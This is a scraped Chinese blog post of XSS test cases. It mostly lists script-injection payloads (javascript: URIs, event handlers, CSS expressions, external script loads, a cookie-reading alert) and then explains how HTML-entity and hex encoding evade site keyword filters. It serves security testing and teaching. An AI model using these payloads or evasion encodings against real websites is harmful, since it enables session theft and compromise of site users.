zoukankan      html  css  js  c++  java
  • XSS测试用例与原理讲解

    1、<a href="javascript:alert(32)">DIBRG</a>
    2、<img href="javascript:alert(32)">
       在IE下可以,在FF下不可以
    3、<img src=" http://xss.jpg" onerror=alert('XSS')>
         IE,FF下均可
    4、<img STYLE="background-image: url(javascript:alert('XSS'))">
       在IE下可以,在FF下不可以
    5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
    <IMG SRC="jav ascript:alert('XSS');">
    <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
    <<SCRIPT>alert("XSS");//<</SCRIPT>
    <iframe src=http://example.com/scriptlet.html <
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <BODY BACKGROUND="javascript:alert('XSS')">
    <BODY ONLOAD=alert(document.cookie)>
    <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
    <IMG DYNSRC="javascript:alert('XSS')">
    <IMG DYNSRC="javascript:alert('XSS')">
    <BR SIZE="&{alert('XSS')}">
    <IMG SRC='vbscript:msgbox("XSS")'>
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <DIV STYLE=" expression(alert('XSS'));">
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
    <A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
    <IMG SRC=javascript:alert('XSS')>
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    a="get";
    b="URL(""";
    c="javascript:";
    d="alert('XSS');"")";
    eval(a+b+c+d);
    5、XSS转码
    有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个被忽略惯了的字符来说,它们是"&"和"".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿<img src="javascript:alert('XSS');">示例:

        <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97

    &#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59"> //10进制转码

        <img src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70
    &#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b"> //16进制转码。

        这个&#分隔符还可以继续加0变成“&#0106” ,“&#00106” ,“&#000106” ,“&#0000106”等形式。

        而这个""字符却暴露了一个严重的XSS 0DAY漏洞,这个漏洞和CSS(Cascading Style Sheets)层叠样式表有很大的关联,下面我就来看看这个漏洞,先举个javascript的eval 函数的例子,官方是这样定义这个函数:

        eval(codeString),必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。

        我们的JavaScript中的""字符是转义字符,所以可以使用""连接16进制字符串运行代码

        <SCRIPT LANGUAGE="JavaScript">
    eval("x6ax61x76x61x73x63x72x69x70x74x3ax61x6cx65x72x74x28x22x58x53x53x22x29")
    </SCRIPT>

  • 相关阅读:
    【练习】flushback基于时间的闪回查询
    【练习】审计
    【练习】新建虚拟机
    织梦安全防护教程首页被挟持、被串改、被挂马、被入侵之后如何解决?
    织梦手机站下一篇变上一篇而且还出错Request Error!
    织梦图集上传错误提示ERROR: Upload Error!
    织梦炒鸡简单3部曲修改文档标题长度限制
    织梦dede:arclist和dede:list输出每个文章的内容有多少页
    织梦后台管理模板无法正常显示模板文件列表解决方法
    织梦列表页多种属性排序[ajax]-支持select方式和降序升序切换
  • 原文地址:https://www.cnblogs.com/milantgh/p/3789362.html
Copyright © 2011-2022 走看看